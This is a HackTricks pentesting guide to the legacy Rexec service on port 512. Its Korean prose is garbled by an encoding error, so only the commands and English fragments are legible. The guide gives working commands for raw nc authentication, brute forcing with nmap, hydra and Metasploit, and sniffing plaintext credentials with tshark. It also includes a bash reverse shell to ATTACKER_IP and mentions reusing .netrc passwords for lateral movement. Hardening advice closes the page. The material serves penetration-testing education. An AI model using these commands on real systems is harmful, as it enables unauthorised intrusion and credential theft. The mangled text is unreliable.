512 - Pentesting Rexec
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.
๊ธฐ๋ณธ ์ ๋ณด
Rexec (์๊ฒฉ exec)๋ ์๋ Berkeley r-services ์ค์ํธ ์ค ํ๋์
๋๋ค ( rlogin, rsh ๋ฑ๊ณผ ํจ๊ป). ์ด๋ ๋ช
ํํ ํ
์คํธ ์ฌ์ฉ์ ์ด๋ฆ๊ณผ ๋น๋ฐ๋ฒํธ๋ก๋ง ์ธ์ฆ๋๋ ์๊ฒฉ ๋ช
๋ น ์คํ ๊ธฐ๋ฅ์ ์ ๊ณตํฉ๋๋ค. ์ด ํ๋กํ ์ฝ์ 1980๋
๋ ์ด์ ์ ์๋์์ผ๋ฉฐ (RFC 1060 ์ฐธ์กฐ) ํ์ฌ๋ ์ค๊ณ์ ์์ ํ์ง ์๋ค๊ณ ๊ฐ์ฃผ๋ฉ๋๋ค. ๊ทธ๋ผ์๋ ๋ถ๊ตฌํ๊ณ ์ผ๋ถ ๋ ๊ฑฐ์ UNIX / ๋คํธ์ํฌ ์ฐ๊ฒฐ ์ฅ๋น์์ ๊ธฐ๋ณธ์ ์ผ๋ก ํ์ฑํ๋์ด ์์ผ๋ฉฐ, ๋ด๋ถ pentest ์ค์ ๊ฐ๋ ๋ํ๋ฉ๋๋ค.
๊ธฐ๋ณธ ํฌํธ: TCP 512 (exec)
PORT STATE SERVICE
512/tcp open exec
๐ฅ ๋ชจ๋ ํธ๋ํฝ โ ์๊ฒฉ ์ฆ๋ช ์ ํฌํจํ์ฌ โ ์ํธํ๋์ง ์์ ์ํ๋ก ์ ์ก๋ฉ๋๋ค. ๋คํธ์ํฌ๋ฅผ ์ค๋ํํ ์ ์๋ ๋๊ตฌ๋ ์ฌ์ฉ์ ์ด๋ฆ, ๋น๋ฐ๋ฒํธ ๋ฐ ๋ช ๋ น์ ๋ณต๊ตฌํ ์ ์์ต๋๋ค.
ํ๋กํ ์ฝ ๊ฐ๋จ ๊ฐ์
- ํด๋ผ์ด์ธํธ๊ฐ TCP 512์ ์ฐ๊ฒฐํฉ๋๋ค.
- ํด๋ผ์ด์ธํธ๊ฐ ์ธ ๊ฐ์ NUL-์ข ๋ฃ ๋ฌธ์์ด์ ๋ณด๋ ๋๋ค:
- stdout/stderr๋ฅผ ์์ ํ๊ณ ์ ํ๋ ํฌํธ ๋ฒํธ(ASCII๋ก) (์ข
์ข
0), - ์ฌ์ฉ์ ์ด๋ฆ,
- ๋น๋ฐ๋ฒํธ.
- ์คํํ ๋ช ๋ น์ด ํฌํจ๋ ์ต์ข NUL-์ข ๋ฃ ๋ฌธ์์ด์ด ์ ์ก๋ฉ๋๋ค.
- ์๋ฒ๋ ๋จ์ผ 8๋นํธ ์ํ ๋ฐ์ดํธ(0 = ์ฑ๊ณต,
1= ์คํจ)์ ๋ช ๋ น ์ถ๋ ฅ์ ๋ค๋ฐ๋ผ ์๋ตํฉ๋๋ค.
์ฆ, echo -e์ nc๋ง์ผ๋ก ๊ตํ์ ์ฌํํ ์ ์์ต๋๋ค:
(echo -ne "0\0user\0password\0id\0"; cat) | nc <target> 512
์ ํจํ ์๊ฒฉ ์ฆ๋ช
์ด๋ฉด ๋์ผํ ์ฐ๊ฒฐ์์ id์ ์ถ๋ ฅ์ ๋ฐ๋ก ๋ฐ์ ์ ์์ต๋๋ค.
ํด๋ผ์ด์ธํธ๋ฅผ ์ฌ์ฉํ ์๋ ์ฌ์ฉ
๋ง์ ๋ฆฌ๋ ์ค ๋ฐฐํฌํ์ ์ฌ์ ํ inetutils-rexec / rsh-client ํจํค์ง ๋ด์ ๋ ๊ฑฐ์ ํด๋ผ์ด์ธํธ๋ฅผ ํฌํจํ๊ณ ์์ต๋๋ค:
rexec -l user -p password <target> "uname -a"
-p๊ฐ ์๋ต๋๋ฉด ํด๋ผ์ด์ธํธ๋ ๋น๋ฐ๋ฒํธ๋ฅผ ๋ํ์์ผ๋ก ์์ฒญํฉ๋๋ค(์ ์ก ์ค์ ํ๋ฌธ์ผ๋ก ํ์๋จ!).
์ด๊ฑฐ ๋ฐ ๋ฌด์ฐจ๋ณ ๋์ ๊ณต๊ฒฉ
๋ฌด์ฐจ๋ณ ๋์ ๊ณต๊ฒฉ
Nmap
nmap -p 512 --script rexec-info <target>
# Discover service banner and test for stdout port mis-configuration
nmap -p 512 --script rexec-brute --script-args "userdb=users.txt,passdb=rockyou.txt" <target>
rexec-brute NSE๋ ์์์ ์ค๋ช
ํ ํ๋กํ ์ฝ์ ์ฌ์ฉํ์ฌ ์๊ฒฉ ์ฆ๋ช
์ ๋งค์ฐ ๋น ๋ฅด๊ฒ ์๋ํฉ๋๋ค.
Hydra / Medusa / Ncrack
hydra -L users.txt -P passwords.txt rexec://<target> -s 512 -t 8
hydra๋ ์ ์ฉ rexec ๋ชจ๋์ ๊ฐ์ง๊ณ ์์ผ๋ฉฐ, ๊ฐ์ฅ ๋น ๋ฅธ ์คํ๋ผ์ธ ๋ธ๋ฃจํธํฌ์๋ก ๋จ์ ์์ต๋๋ค. medusa (-M REXEC)์ ncrack (rexec ๋ชจ๋)๋ ๊ฐ์ ๋ฐฉ์์ผ๋ก ์ฌ์ฉํ ์ ์์ต๋๋ค.
Metasploit
use auxiliary/scanner/rservices/rexec_login
set RHOSTS <target>
set USER_FILE users.txt
set PASS_FILE passwords.txt
run
๋ชจ๋์ ์ฑ๊ณต ์ ์ ธ์ ์์ฑํ๊ณ ์๊ฒฉ ์ฆ๋ช ์ ๋ฐ์ดํฐ๋ฒ ์ด์ค์ ์ ์ฅํฉ๋๋ค.
์๊ฒฉ ์ฆ๋ช ์ค๋ํ
๋ชจ๋ ๊ฒ์ด ํ๋ฌธ์ด๊ธฐ ๋๋ฌธ์, ๋คํธ์ํฌ ์บก์ฒ๋ ๋งค์ฐ ๊ท์คํฉ๋๋ค. ํธ๋ํฝ์ ๋ณต์ฌ๋ณธ์ ์ฌ์ฉํ๋ฉด ๋์์ ๊ฑด๋๋ฆฌ์ง ์๊ณ ๋ ์๊ฒฉ ์ฆ๋ช ์ ์ถ์ถํ ์ ์์ต๋๋ค:
tshark -r traffic.pcap -Y 'tcp.port == 512' -T fields -e data.decoded | \
awk -F"\\0" '{print $2":"$3" -> "$4}' # username:password -> command
(In Wireshark์์ Decode As โฆโ TCP 512 โ REXEC๋ฅผ ํ์ฑํํ์ฌ ์ ์ ๋ฆฌ๋ ํ๋๋ฅผ ํ์ธํ์ธ์.)
ํฌ์คํธ ์ต์คํ๋ก์ ํ
- ์ ๊ณต๋ ์ฌ์ฉ์์ ๊ถํ์ผ๋ก ์คํ๋๋ ๋ช
๋ น์ด์
๋๋ค.
/etc/pam.d/rexec๊ฐ ์๋ชป ๊ตฌ์ฑ๋ ๊ฒฝ์ฐ(์:pam_rootok), ๋ฃจํธ ์์ด ๊ฐ๋ ๊ฐ๋ฅํ ์ ์์ต๋๋ค. - Rexec๋ ์ฌ์ฉ์์ ์์ ๋ฌด์ํ๊ณ
/bin/sh -c <cmd>๋ฅผ ํตํด ๋ช ๋ น์ด๋ฅผ ์คํํฉ๋๋ค. ๋ฐ๋ผ์ ์ฌ๋ฌ ๋ช ๋ น์ด๋ฅผ ์ฐ๊ฒฐํ๊ฑฐ๋ ๋ฆฌ๋ฒ์ค ์์ ์์ฑํ๊ธฐ ์ํด ์ผ๋ฐ์ ์ธ ์ ์ด์ค์ผ์ดํ ํธ๋ฆญ(;,$( ), ๋ฐฑํฑ)์ ์ฌ์ฉํ ์ ์์ต๋๋ค:
rexec -l user -p pass <target> 'bash -c "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"'
- ๋น๋ฐ๋ฒํธ๋ ์ข ์ข ๋ค๋ฅธ ์์คํ ์ ~/.netrc์ ์ ์ฅ๋ฉ๋๋ค; ํ๋์ ํธ์คํธ๋ฅผ ์์์ํค๋ฉด ์ด๋ฅผ ์ฌ์ฌ์ฉํ์ฌ ์ธก๋ฉด ์ด๋์ ํ ์ ์์ต๋๋ค.
๊ฐํ / ํ์ง
- rexec๋ฅผ ๋ ธ์ถํ์ง ๋ง์ธ์; SSH๋ก ๊ต์ฒดํ์ธ์. ์ฌ์ค์ ๋ชจ๋ ํ๋ inetd ์ํผ์๋ฒ๋ ๊ธฐ๋ณธ์ ์ผ๋ก ์ด ์๋น์ค๋ฅผ ์ฃผ์ ์ฒ๋ฆฌํฉ๋๋ค.
- ์ ์งํด์ผ ํ๋ค๋ฉด, TCP ๋ํผ(
/etc/hosts.allow) ๋๋ ๋ฐฉํ๋ฒฝ ๊ท์น์ผ๋ก ์ ๊ทผ์ ์ ํํ๊ณ ๊ฐ๋ ฅํ ๊ณ์ ๋ณ ๋น๋ฐ๋ฒํธ๋ฅผ ์ํํ์ธ์. - :512๋ก์ ํธ๋ํฝ๊ณผ
rexecdํ๋ก์ธ์ค ์์์ ๋ชจ๋ํฐ๋งํ์ธ์. ๋จ์ผ ํจํท ์บก์ฒ๋ก๋ ์์์ ๊ฐ์งํ ์ ์์ต๋๋ค. rexec,rlogin,rsh๋ฅผ ํจ๊ป ๋นํ์ฑํํ์ธ์ โ ์ด๋ค์ ๋๋ถ๋ถ ๋์ผํ ์ฝ๋๋ฒ ์ด์ค์ ์ทจ์ฝ์ ์ ๊ณต์ ํฉ๋๋ค.
์ฐธ์กฐ
- Nmap NSE
rexec-brute๋ฌธ์ โ https://nmap.org/nsedoc/scripts/rexec-brute.html - Rapid7 Metasploit ๋ชจ๋
auxiliary/scanner/rservices/rexec_loginโ https://www.rapid7.com/db/modules/auxiliary/scanner/rservices/rexec_login
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.


